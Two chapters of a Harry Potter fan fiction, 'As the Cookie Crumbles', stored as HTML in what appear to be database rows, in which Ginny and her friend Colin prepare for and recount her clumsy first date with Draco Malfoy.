	(100, 8, ' <b>As the Cookie Crumbles &#8211; 08</b><br>\n\n<i>by VirtualFaerie</i>\n\n<br>\n\n\n<br>\n ---------------------------------------------------<br>\n\n\n<br>\n\n\n<b>Disclaimer:</b> Do you honestly think I own anything related to Harry Potter? If you do, I can recommend you to my psychiatrist. He&#8217;s here to help. ;-) <br>\n\n\n<br>\n --------------------------------------------------- <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n That next Monday, it was work as usual and so Ginny was at Tasty Treats, sitting on her usual stool behind the counter. Unfortunately work wasn&#8217;t exactly on her mind. She was too busy trying to bore a hole into the wall by staring at it, as she let her mind wander. Ginny was sitting on a stool, staring off into space in Tasty Treats. She didn&#8217;t even notice when the door banged open, the bell tinkling, as Colin clomped trying to balance the three large boxes, wavering precariously in his arms. Ginny didn&#8217;t even look up as all three toppled out of his arms and clattered all around the front of the store, new cooking utensils flying across the room. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &quot;Ginny!&quot; he shouted, frustrated. &quot;You could have at helped!&quot; Exhaling noisily, he leaned down to pick up the boxes with its spilled contents, and stacked them up against a wall. &quot;Gods.... Ginny? Uh&#8230;Ginny?&quot; Colin waved his hand in front of her face and didn&#8217;t even get a blink from her. &quot;Are you okay, Gins? You seem to be a bit&#8230;out of it.&quot; He snapped his fingers. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &quot;Huh? What?&quot; she said, blinking. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n It worked. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &quot;Oh, hi, Colin.&quot; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Colin frowned. &quot;Don&#8217;t you &#8216;Hi, Colin&#8217;, me. What&#8217;s wrong with you?&quot; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &quot;There&#8217;s nothing wrong with me,&quot; said Ginny. &quot;I&#8217;m perfectly fine.&quot; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &quot;Oh right, then what just happened?&quot; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &quot;What are you talking about? Nothing&#8217;s happened,&quot; said Ginny, giving him a reproachful look. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &quot;I just dropped three boxes, Gins. Three boxes, which held all your precious little utensils &quot; Colin said very slowly. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &quot;Did you?&quot; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &quot;Yes&#8230;yes, I did.&quot; Colin gave her an annoyed look and pointed out the boxes he had stacked up against the wall. &#8220;What&#8217;s wrong with you, Gins? Ever since Valentine&#8217;s day, you&#8217;ve totally been out of it,&#8221; he paused and gave her and impish grin. &#8220;Or rather ever since I left you and Malfoy at the Candelabra.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Ginny slumped down behind the counter and hid her face in her hands. But Colin could still see the faint pink blush behind her fingers. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Oh, so what did Mr. Malfoy have to say to you, hm?&#8221; Colin pulled Ginny&#8217;s hands off of her face and wiggled his eyebrows. He put on a high falsetto and put his hands on his cheeks, looking to the ceiling. &#8220;Oh Ginny! You like, so, have to tell me, or, I&#8217;m like, going to <i>burst</i>.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Ginny sighed loudly and gave Colin a withering look. &#8220;Quit clowning around,&#8221; she said in a peeved tone. A very peeved tone. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Colin&#8217;s eyebrows shot up, way up. &#8220;Something really did happen?&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Ginny blinked slowly and looked up at him. &#8220;Yes, something happened.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Well don&#8217;t leave me hanging! Tell me,&#8221; said Colin, waving his hands around excitedly. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Ginny rubbed the bridge of her nose carefully and pulled her stool in closer to the front counter before settling her forehead on it. She sighed loudly and started mumbling something &#8211;something which Colin couldn&#8217;t make a word out of. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;What was that?&#8221; he asked gently, lowering his head near hers so that he could better hear her mumbling. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;He asked me out on a date,&#8221; she said into the counter. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;He did?!&#8221; Colin half-shouted. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Ginny clutched at her head and glared at Colin angrily. &#8220;Thanks for yelling in my ear you little blond-headed bimbo.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Colin looked rightfully wounded. &#8220;I&#8217;m not a bimbo.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Right, and my name is Bobette.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Colin stuck out his hand and said, &#8220;Hello Bobette, nice to meet you.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Ha-ha, very funny,&#8221; Ginny said, slapping his hand away playfully. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;So, he asked you out on a date. Proceed to tell me exactly what happened,&#8221; Colin said, slipping behind the counter and pulling out a stool next to hers. He was parked and ready to listen. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Well,&#8221; Ginny started. &#8220;After you left, we actually got to eat dinner. We talked for a bit &#8211; actually talked, it was a bit weird. Mostly we talked about Swink and Seamus, or about Quidditch. Then when it was time to leave, he wouldn&#8217;t let me pay for my dinner. We walked out together and he just &#8211; asked me out on a date.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;How did he ask, and what kind of date?&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;He just said, &#8216;So Weasley, like to try this again sometime?&#8217;. Nothing special,&#8221; said Ginny. &#8220;I don&#8217;t know what kind of date &#8211; he said he&#8217;d owl me later, or phone.&#8221; Ginny shrugged. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;You&#8217;re stressing over it, eh?&#8221; Colin said, poking her in the stomach with his elbow. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Of course!&#8221; Ginny burst out. &#8220;This is Draco Malfoy we&#8217;re talking about. How often is it that he asks a Weasley out on a date?&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Well&#8230;&#8221; said Colin slowly. &#8220;How many times has he asked any of your brothers&#8217; out?&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Ginny glared at him. &#8220;You know what I mean, Creevey. This is not the time to be a smart ass.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Colin bowed his head. &#8220;My humble apologies&#8230;.&#8221; he muttered. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Ginny shook her head, looking through the front glass door of the shop just in time to see Draco Malfoy himself heading towards the shop. She shrieked and toppled off of her stool, landing flat on her butt. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Ow&#8230;&#8221; she cried. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Colin smirked. &#8220;Shall I stall,&#8221; he asked, &#8220;while you go get pretty in the bathroom?&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Ginny rubbed her bum carefully and glanced up at Colin thankfully. &#8220;I would appreciate it&#8230;&#8221; she started. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Colin waved his hand. &#8220;Then consider it done. Now hurry before he gets here.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Right,&#8221; Ginny half-squeaked before heaving herself off of the floor and rushing to the bathroom, grabbing her purse as she ran. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Colin looked after her and smiled, leaning back against the counter, watching her disappear into the bathroom. The front door opened, causing the little bell to tinkle. Colin turned around to see Draco Malfoy standing in the front of Tasty Treats, looking extremely out of place in the homey atmosphere in his specially tailored business robes. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Draco blinked and glanced around. &#8220;Is Weasley here?&#8221; he asked, peering around Colin, as if she&#8217;d be hiding behind him. He shoved the fringe of his hair back that kept falling into his eyes and looked at Colin expectantly. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Ginny, you mean?&#8221; Colin said, raising his eyebrow. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Sure,&#8221; said Draco. &#8220;That Weasley.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Colin tried not to laugh. &#8220;She&#8217;s&#8230;busy right now,&#8221; he said. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Draco raised an eyebrow. &#8220;Busy? How?&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;She&#8217;s preoccupied&#8230;.&#8221; Colin glanced back in the hallway that led into the kitchen and bathroom of the shop. &#8220;Maybe I should go see if she&#8217;s&#8230;finished.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Draco lowered his eyebrows and cast Colin and suspicious glance. Colin noticed his fingers tensing around a small bouquet of flowers he was holding. Colin&#8217;s mouth took on an impish lilt. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;What&#8217;s she doing?&#8221; Draco said evenly. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Oh you know,&#8221; Colin said, waving his hand flippantly. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;No, actually, I don&#8217;t.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Just a bit of this and that,&#8221; said Colin. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Hello!&#8221; said Ginny, coming to the front from the back hall. She had applied fresh make-up and ran a brush through her hair. She also had a smile plastered on her face. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Draco&#8217;s eyebrows immediately un-lowered themselves upon the Ginny sighting, and he held the flowers out. &#8220;Weasley,&#8221; he said. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Ginny smiled graciously and took the flowers from him. &#8220;Thank you, Malfoy,&#8221; she said. She sniffed and instantly started sneezing. &#8220;Stupid&#8230;allergies,&#8221; she said in-between sneezes. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Draco snorted quietly. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n She blinked back tears and said, &#8220;They&#8217;re really&#8230;&#8221; sneeze, &#8220;pretty.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;I&#8217;m glad you like them,&#8221; Draco said with a hard-to-keep straight face. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Now Colin, he wasn&#8217;t even trying to hide his laughter, he was doubled over behind the counter. Ginny sniffed and glared at him. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Shut up, Creevey,&#8221; she snapped, giving him The Look. &#8220;Isn&#8217;t there a batch of cookies in the back that needs to be taken out?&#8221; she hinted blatantly, scrunching up her eyebrows. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Colin raised his eyebrows. &#8220;There is?&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Yes,&#8221; Ginny gritted out. &#8220;There most definitely is.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Colin shrugged and took of towards the back, giving Ginny a suggestive wink as he made his way back. &#8220;The cookies and I shall just have bit of fun back here,&#8221; he said, wiggling his eyebrows. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Ginny rolled her eyes. &#8220;You do that, Colin.&#8221; She turned back to Draco, who had a rather amused expression on his face. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;That was certainly interesting,&#8221; Draco commented. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Well,&#8221; Ginny replied with a shrug. &#8220;That&#8217;s Colin for you.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Anyway,&#8221; said Draco. &#8220;The reason I came by was to set up a date. If you still want one.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Of course,&#8221; Ginny said quickly. A bit too quickly she thought, a blush began rising in her cheeks. &#8220;I mean, of course I&#8217;d like to go on a date&#8230;with you.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Right then,&#8221; said Draco, smiling slightly at her blush. &#8220;Friday?&#8221; he asked. &#8220;Seven?&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Friday?&#8221; Ginny said. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Draco blinked for a second and rephrased his question. &#8220;Would a date on Friday be alright with you? At seven?&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Oh! Oh!&#8221; Ginny said, putting her hands up in front of her face, rubbing her eyes nervously. &#8220;Yes, Friday is fine. Yeah, Friday is good.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Draco chuckled. &#8220;Alright then. I&#8217;ll pick you up at seven.&#8221; He then turned on his heel and was about to walk out of the shop. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Wait!&#8221; Ginny called out. He turned around and raised an expectant eyebrow at her. &#8220;Don&#8217;t I need to tell you where I live?&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n The corner of his mouth quirked up, &#8220;I think I remember clearly after that day you fell out of your window on to me.&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;What?&#8221; Ginny asked, quite puzzled and then it hit her. &#8220;Oh my gods&#8230; I&#8217;m so&#8230;oh gods&#8230;&#8221; <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &#8220;Right,&#8221; Draco replied with a smirk, walking out the door and leaving behind a very embarrassed-red-Ginny Weasley. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n -- <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<b>A/N:</b> Right, that chapter was a bit shorter than normal, and that&#8217;s just because I figured I better put out a chapter of something before someone killed me. *sighs* This isn&#8217;t all that great of a chapter. The next one is Draco and Ginny&#8217;s date &#8211; if I can figure out how I&#8217;m going to do it. I think this fic has about 3-4 chapters left, then I&#8217;m done. Must move on to bigger and better things. <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n loves<br>\n vf <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<b>Thanks to Blaze and Komal for beta-ing.</b> '),
	(100, 9, '\n\n\n\n\n\n<p><b>A/N: </b>Okay, this is the part of the fic where I attempt to make half-assed excuses to explain my extreme lateness in an update. ::insert lame excuses here:: Anyways, it&#8217;s finished now! After much laboring!! And, you guys do not know how badly I was aching to turn this into a Colin/Ginny fic. Seriously, once you start reading you&#8217;ll see what I mean. Don&#8217;t you think they would go well in this fic? I do&#8230; But I think I shall keep it D/G so that I am not murdered in my sleep. Toodles, loves!</p>\n\n<p><b>Disclaimer:</b> I don&#8217;t own ANYTHING!</p>\n\n<p><b>Dedication:</b> *ahem* I am dedicating this chapter to Melissa Adams because she IMed me to bug me to get started on this chapter! &#8211; This was just a few days ago, and I hadn&#8217;t had anything of this chapter. You all should thank her, because without her asking me everyday if I&#8217;d written anymore (she&#8217;s good), this chapter probably would have never been written. </p>\n\n<p><b>As the Cookie Crumbles</b></p>\n\n<p>By VirtualFaerie</p>\n\n<p>-</p>\n\n<p>Ginny perused the racks slowly, making sure to examine every dress closely. She had dragged Colin out shopping with her a little earlier, because she needed a new dress for her date.</p>\n\n<p>&#8220;What kind of dresses do guys like?&#8221; Ginny asked frowning, moving over to another rack. &#8220;I mean&#8230;should I go for...short and risqu&#233;? Or&#8230;frilly and feminine? Or&#8230;&#8221;</p>\n\n<p>Colin took a bite of his chocolate iced doughnut that he was having a hard time hiding from the sales lady for &#8211; she kept looking at him suspiciously. &#8220;Well,&#8221; he said through a full mouth. &#8220;You don&#8217;t want to wear a short, short dress on your first date do you?&#8221; He turned around quickly and shoved his doughnut behind him as the sales lady passed, eyeing him apprehensively. </p>\n\n<p>&#8220;What do you think of this dress?&#8221; asked Ginny, pulling out a lacy pink one.</p>\n\n<p>&#8220;Looks fine&#8230;&#8221; Colin mumbled, trying to peel his doughnut off a rhinestone covered dress. He lost grip of the doughnut and it fell the to floor with a squish. &#8220;Damn,&#8221; he muttered, bending over.</p>\n\n<p>&#8220;Coooolin,&#8221; whined Ginny, looking at the dress again. &#8220;You didn&#8217;t even look at it.&#8221;</p>\n\n<p>Colin glanced up at it quickly. He made a face. &#8220;Ew, bad. No lace. Ew.&#8221;</p>\n\n<p>&#8220;Well, fine then, that&#8217;s all I wanted to know,&#8221; said Ginny, rolling her eyes and putting the dress back on the rack. &#8220;What are you doing? Colin?&#8221;</p>\n\n<p>The sales lady started walking back their way. &#8220;Shit,&#8221; Colin hissed, standing back up quickly and kicking the doughnut under the rack. He walked over to Ginny hurriedly and pulled out a completely random dress. &#8220;How &#8216;bout this one, Gins?&#8221;</p>\n\n<p>Ginny looked at the dress and blinked. Then she looked up at Colin and blinked. &#8220;You want me to wear a tent?&#8221; </p>\n\n<p>Colin looked down at the dress. &#8220;Oh,&#8221; he said, &#8220;Well&#8230;you do need to be modest on the first date don&#8217;t you? Cover up everything&#8230;stay out of trouble&#8230;&#8221;</p>\n\n<p>&#8220;Right&#8230;&#8221; Ginny walked off to another sales rack.</p>\n\n<p>Colin stood there for a moment, and looked back at the rack he had kicked his doughnut under. He wondered vaguely if it would be possible for him to get it back. He glanced at the register and saw the sales lady there, marking through a book.</p>\n\n<p>&#8220;Colin? This one?&#8221; She held up a silky green dress.</p>\n\n<p>He looked over his shoulder. &#8220;Err&#8230;good, yeah.&#8221;</p>\n\n<p>&#8220;You think it&#8217;ll look nice on me?&#8221; she asked, placing the hanger up under her chin so that the dress was draped down her front.</p>\n\n<p>&#8220;Sure, looks great&#8230;&#8221; he said, making sure to look at the dress first before saying so. He checked on the sales lady one more time, then approached the rack with his doughnut under it. He was hungry, and that had been his breakfast. He needed that doughnut. There was no way he was going to survive a day of shopping with Ginny if he didn&#8217;t have that doughnut.</p>\n\n<p>He got down on his hands and knees and looked under the rack and saw his doughnut sitting in the very middle. He grinned and crawled under, picking up the doughnut and wiping off the dust with his shirt. Sitting down in the small clearing in the center of the rack, he brought the doughnut up to his mouth and took a big bite, smearing what was left of the frosting around the edges of his lips.</p>\n\n<p>&#8220;Colin?&#8221; he heard Ginny calling him, her voice muffled by all the dresses around him. &#8220;Colin? Where are you? You better not have left the store,&#8221; she muttered, her voice getting closer to him.</p>\n\n<p>Hastily, Colin shoved the rest of the doughnut in his mouth and scrambled out from under the rack, coming out right beside Ginny&#8217;s feet. She blinked and looked at him slowly. &#8220;Colin&#8230;what were you doing under there?&#8221; she asked hesitantly.</p>\n\n<p>&#8220;Er, getting my doughnut,&#8221; said Colin, standing up quickly and brushing off his robes.</p>\n\n<p>&#8220;You didn&#8217;t eat it did you..?&#8221; asked Ginny, scrunching up her nose.</p>\n\n<p>&#8220;Of course, I did! Why wouldn&#8217;t I&#8230;?&#8221; He trailed off as Ginny gave him a disapproving look. &#8220;Five minute rule...&#8221; he mumbled.</p>\n\n<p>&#8220;Honestly, Colin, I really don&#8217;t know how you&#8217;ve survived all these years. I&#8217;m thinking you should get married, and soon. You need someone to look after you,&#8221; said Ginny, walking over to a clearance rack.</p>\n\n<p>&#8220;WHAT?&#8221; Colin choked, following after her quickly. He blinked and cleared his throat. &#8220;I don&#8217;t need to get married. Besides, you look after me quite well, don&#8217;t you think?&#8221;</p>\n\n<p>Ginny picked up a black dress and studied it. &#8220;What do you think of this one? It&#8217;s pretty&#8230;&#8221; She picked up the price tag and peered at it thoughtfully. &#8220;And affordable.&#8221; Colin gave her a look. &#8220;I shouldn&#8217;t have to look after you,&#8221; she said. &#8220;I&#8217;m your friend, not your mother.&#8221;</p>\n\n<p>&#8220;Yeah, well, Gins, I don&#8217;t have a mother,&#8221; said Colin angrily. &#8220;Are you saying that you don&#8217;t like putting up with me? That you&#8217;d rather not have me around?&#8221;</p>\n\n<p>Ginny looked affronted. &#8220;Of course not! I love having you around, Colin. But you need something more than just me. I won&#8217;t always be able to take care of you.&#8221;</p>\n\n<p>Colin put his face in his hands and rubbed the bridge of his nose. &#8220;You said you would only make me go shopping with you. This is so much more than shopping.&#8221; He faked a sniffle. &#8220;I think you owe me some ice cream&#8230;&#8221; He looked up at her with wide eyes between his fingers.</p>\n\n<p>Ginny laughed and pulled Colin into a hug. &#8220;Okay, okay, I lied about the only shopping part. But we got a nice talk didn&#8217;t we?&#8221; Colin muttered something. &#8220;Ice cream on me today.&#8221; She held the black dress back out. &#8220;This one? &#8211; Don&#8217;t you think? I like it&#8230;&#8221;</p>\n\n<p>Colin glanced at the dress; he smiled. &#8220;It&#8217;s perfect.&#8221; He hugged Ginny to his side and they walked up to the cash register.</p>\n\n<p>-</p>\n\n<p>Ginny smoothed her hair one last time, peering into the mirror nervously. &#8220;Colin?&#8221; she said, turning around. &#8220;How do I look? Do I look okay? You don&#8217;t think this dress is to clingy do you? What about my makeup? I don&#8217;t have on too much mascara, do I? Oh gods, does my lipstick match alright? And &#8211; do you think I curled my hair &#8211;&#8217;&#8217;</p>\n\n<p>&#8220;Ginny,&#8221; Colin said firmly, shooting her a glare. &#8220;You look fabulous. I can&#8217;t think of one thing wrong.&#8221; He stood up from the couch and came to stand in front of her, threading his fingers through her hair gently with a small smile on his face.</p>\n\n<p>&#8220;What are you smiling for?&#8221; asked Ginny anxiously, reaching up to touch her hair.</p>\n\n<p>&#8220;Heh,&#8221; Colin let out a chuckle. &#8220;I&#8217;m just thinking about how much fun I&#8217;m going to have pounding Malfoy&#8217;s brain out if he makes you cry.&#8221;</p>\n\n<p>Ginny grinned and rolled her eyes, wrapping her arms around Colin for a quick hug. &#8220;You&#8217;re so silly, Colin. He&#8217;s not going to make me cry. This is only our first date.&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; said Colin, bringing his hands up and cracking his knuckles. &#8220;But I&#8217;ve got my eye on him.&#8221;</p>\n\n<p>&#8220;Oh my,&#8221; giggled Ginny. &#8220;I didn&#8217;t know you swung that way, Colin. Now I know why you never like any of the dates I set you up with.&#8221;</p>\n\n<p>Colin turned red. &#8220;WHAT?&#8221; he squeaked. &#8220;Are you kidding me?! I love women! Women are the fruit of life! Nothing turns me on more than a woman.&#8221;</p>\n\n<p>Ginny nodded slowly and pinched Colin&#8217;s cheeks. &#8220;Whatever you say, honey.&#8221;</p>\n\n<p>&#8220;I&#8217;m serious,&#8221; glowered Colin.</p>\n\n<p>&#8220;I know, I know,&#8221; said Ginny, patting his arm. &#8220;I&#8217;ve seen all the magazines under your bed. All signs point to a normal male.&#8221;</p>\n\n<p>Colin&#8217;s eyes widened. &#8220;You looked under my bed?!?! &#8211; At those magazines?!?!&#8221;</p>\n\n<p>&#8220;Well, of course I didn&#8217;t just go looking under there for the sole purpose of finding your dirty magazines. It was that time that I was over at your flat trying to help you find your shoes,&#8221; Ginny said reasonably. </p>\n\n<p>Colin ran a hand through his hair and muttered under his breath right as the doorbell rang.</p>\n\n<p>&#8220;Oh GODS!&#8221; breathed Ginny, punching Colin&#8217;s arm.</p>\n\n<p>&#8220;OW!&#8221; he grumbled at her.</p>\n\n<p>&#8220;He&#8217;s here,&#8221; she hissed.</p>\n\n<p>&#8220;Obviously.&#8221;</p>\n\n<p>&#8220;Don&#8217;t be a smart ass, Creevey.&#8221; Ginny looked at herself in the mirror one more time, pinching color into her cheeks, and walked to the door, pulling it open slowly, motioning for Colin to get out of sight.</p>\n\n<p>&#8220;Hello,&#8221; said Draco upon seeing her. He quirked and eyebrow up. &#8220;My, don&#8217;t you look nice tonight.&#8221;</p>\n\n<p>Ginny smiled. &#8220;Thank you. Here, just let me go get my cloak and I&#8217;ll be ready.&#8221; She motioned for him to step in and shut the door behind him, running off to her bedroom to grab her cloak. Colin was lying on her bed staring up at the ceiling.</p>\n\n<p>&#8220;Oh,&#8221; he said. &#8220;When he says you look nice, you just say thanks, but when I do&#8230;oh no&#8230;you gotta ask me a million questions.</p>\n\n<p>Ginny smacked his leg playfully. &#8220;Yes, Colin, that&#8217;s because I love you. Don&#8217;t get into too much trouble while I&#8217;m gone. And if you wreck my apartment, I&#8217;m going to kill you. Night, sweets.&#8221;</p>\n\n<p>She walked back out to the entry way and slipped on her cloak. &#8220;Alright,&#8221; she said. &#8220;I&#8217;m ready.&#8221; </p>\n\n<p>&#8220;Great,&#8221; said Draco, taking her arm and leading her out of the apartment.</p>\n\n<p>-</p>\n\n<p>Ginny sat down a bit uneasily in her seat, making sure to smooth her dress as she sat down. Draco had taken her to an especially nice restaurant, even better than the Candelabra. </p>\n\n<p>&#8220;Wine?&#8221; Draco asked, picking up his menu and perusing it thoughtfully.</p>\n\n<p>Picking up her menu quickly, Ginny flipped it open and looked at the wine list. Draco cleared his throat and Ginny looked up at him over the top of the menu. &#8220;Yes?&#8221; she said.</p>\n\n<p>The corner of Draco&#8217;s lips curled up into a smile. &#8220;I think you&#8217;re looking at it upside down.&#8221;</p>\n\n<p>Ginny blinked and looked back down at her menu, blushing furiously. &#8220;Oh&#8230;&#8221; She flipped it right side up and continued to look at the list. </p>\n\n<p>&#8220;How about merlot?&#8221; asked Draco.</p>\n\n<p>&#8220;Uhm, yes, that sounds fine,&#8221; Ginny said quickly. Ginny scolded herself mentally as she watched Draco order their wine. Why was she being such a ninny? It was just a date. It was just a date with Malfoy. Malfoy the arrogant, pig-headed, prick from her childhood. Why should she be nervous? She&#8217;d known him forever. Granted, during forever, they most certainly had not been out on a date before. She sighed quietly and rubbed the bridge of her nose.</p>\n\n<p>&#8220;Something wrong?&#8221; Draco said, looking at her curiously.</p>\n\n<p>&#8220;Oh, no,&#8221; said Ginny, flashing a smile. &#8220;Everything&#8217;s fine.&#8221;</p>\n\n<p>Everything went fine until dessert, Ginny didn&#8217;t stutter, she didn&#8217;t drop any food on her clothes, and none of her drink leaked out and dripped down her face. All in all, she had been doing pretty good &#8211; even holding up on the surprisingly intelligent conversation she was having with Malfoy.</p>\n\n<p>But, that was just before dessert. </p>\n\n<p>Their waiter came by with the cart of desserts and told them each of their names, describing the ingredients that went into each. Ginny picked a strawberry cheesecake, and Draco had chosen a chocolate cake.</p>\n\n<p>First thing that went wrong: some of Ginny&#8217;s strawberries fell off of her fork and into her lap. Draco chuckled at her. &#8220;Holding onto that fork tight enough?&#8221; he asked.</p>\n\n<p>&#8220;Heh,&#8221; Ginny let out a nervous laugh and scooped them up out of her lap and into her napkin, setting it on the table. &#8220;Just clumsy,&#8221; she said.</p>\n\n<p>Then, about two minutes later, she decided that she needed to use the restroom. She started to push her chair back, but the back legs caught on the carpet and sent her flying backwards, arms flailing wildly, taking most of the table cloth and her cheesecake with her. The strawberries splattered all over her dress, and the cheesecake smeared across the fabric devilishly.</p>\n\n<p>Ginny let out a frustrated sound and just looked at her dress &#8211; everyone in the restaurant looking at her sympathetically. Draco was laughing, getting out of his own chair and going over to help her off the floor and set her chair upright.</p>\n\n<p>&#8220;Oops?&#8221; she said, cheeks flushed deep red.</p>\n\n<p>&#8220;I think we should go &#8211; don&#8217;t you?&#8221; asked Draco, smiling amusedly.</p>\n\n<p>Ginny looked at her dress pitifully. &#8220;Yes, I suppose that would be a good idea.&#8221;</p>\n\n<p>Draco laid some money on the table and took Ginny&#8217;s hand, leading her out of the restaurant. &#8220;That was certainly one of the most entertaining dates I&#8217;ve ever been on,&#8221; said Draco.</p>\n\n<p>Ginny shook her head. &#8220;I am so clumsy&#8230;&#8221;</p>\n\n<p>&#8220;It&#8217;s endearing.&#8221;</p>\n\n<p>&#8220;Oh really?&#8221;</p>\n\n<p>&#8220;Yes, quite,&#8221; Draco said, grinning at her.</p>\n\n<p>They arrived at her apartment, and Ginny looked up at him nervously. &#8220;Well&#8230;despite being covered in cheesecake,&#8221; she said, &#8220;I had a lovely time.&#8221;</p>\n\n<p>&#8220;Me too,&#8221; said Draco, before ducking down and brushing his lips against her lightly. He straightened up. &#8220;See you sometime soon, then?&#8221;</p>\n\n<p>Ginny beamed. &#8220;Of course.&#8221;</p>\n\n<p>&#8220;Good,&#8221; he said, reaching up and touching her cheek before leaving.</p>\n\n<p>Ginny sighed happily and unlocked her door, stepping in. Colin was sitting on the couch, head flung back, mouth open wide, snoring. Ginny giggled and went over to poke his side.</p>\n\n<p>&#8220;AGh!&#8221; he said, sitting up quickly. &#8220;Gods! You wench!&#8221; he muttered, rubbing his eyes and looking up at her blearily. He noted her mindless grin. &#8220;Went well, did it?&#8221;</p>\n\n<p>She sighed happily. &#8220;Sooooo well. He kissed me.&#8221;</p>\n\n<p>Colin made a face and she whapped him playfully, running back to her room giggling.</p>\n\n<p>:: PLEASE REVIEW!:: </p>\n\n<p>*glomps everyone*</p> '),
